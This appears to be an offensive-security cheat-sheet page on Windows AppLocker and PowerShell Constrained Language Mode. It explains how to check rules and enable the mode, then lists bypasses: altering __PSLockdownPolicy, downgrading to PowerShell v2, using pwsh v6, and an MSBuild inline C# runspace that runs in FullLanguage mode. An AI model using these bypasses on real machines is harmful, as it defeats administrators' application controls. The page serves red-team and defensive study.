AppLocker
AppLocker is a Windows Defender functionallity which helps you control which apps and files users can run. These include executable files, scripts, Windows Installer files, dynamic-link libraries (DLLs), packaged apps, and packaged app installers.
AppLocker can help you:
- Define rules based on file attributes that persist across app updates, such as the publisher name (derived from the digital signature), product name, file name, and file version. You can also create rules based on the file path and hash.
- Assign a rule to a security group or an individual user.
- Create exceptions to rules. For example, you can create a rule that allows all users to run all Windows binaries, except the Registry Editor (regedit.exe).
- Use audit-only mode to deploy the policy and understand its impact before enforcing it.
- Create rules on a staging server, test them, then export them to your production environment and import them into a Group Policy Object.
- Simplify creating and managing AppLocker rules by using Windows PowerShell.
Check Rules
With the cmdlet Get-AppLockerPolicy
we can check which rules are enabled on the machine.
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Constrained Language (Powershell)
When Applocker is configured on a machine we drop into a Constrained Language Mode (CLM) when we connect using PowerShell Remoting.
PowerShell Constrained Language is a language mode of PowerShell designed to support day-to-day administrative tasks, yet restrict access to sensitive language elements that can be used to invoke arbitrary Windows APIs.
$ExecutionContext.SessionState.LanguageMode
PowerShell included an environment variable for debugging and unit testing called __PSLockdownPolicy
.
Enable PS Constrained Language Mode
Enabling constrained language mode, that dows not allow powershell execute complex ataccks such as mimikatz.
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4’, 'Machine')
Bypass PS Constrained Language Mode
Via GUI
However, if you have access to the system and enough privileges to change environment variables, you can bypass it by removing the variable __PSLockdownPolicy
and re-spawning another PowerShell instance.
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '8', 'Machine')
PowerShell Downgrade
If PowerShell 2.0 is installed we can bypass it via spawning a PowerShell 2.0 instance.
powershell -version 2
https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass
PowerShell Upgrade (PowerShell v6)
PowerShell v6.0.0 (pwsh.exe) has only Script Block Logging and AMSI, so we can bypass Constrained Language using PSv6.
pwsh.exe
Unmanaged PowerShell Runspace
We can create a C# assembly that runs powershell on a FullLanguage
mode.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<MSBuildTest/>
</Target>
<UsingTask
TaskName="MSBuildTest"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Linq;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MSBuildTest : Task, ITask
{
public override bool Execute()
{
using (var runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
using (var posh = PowerShell.Create())
{
posh.Runspace = runspace;
posh.AddScript("$ExecutionContext.SessionState.LanguageMode");
var results = posh.Invoke();
var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());
Console.WriteLine(output);
}
}
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>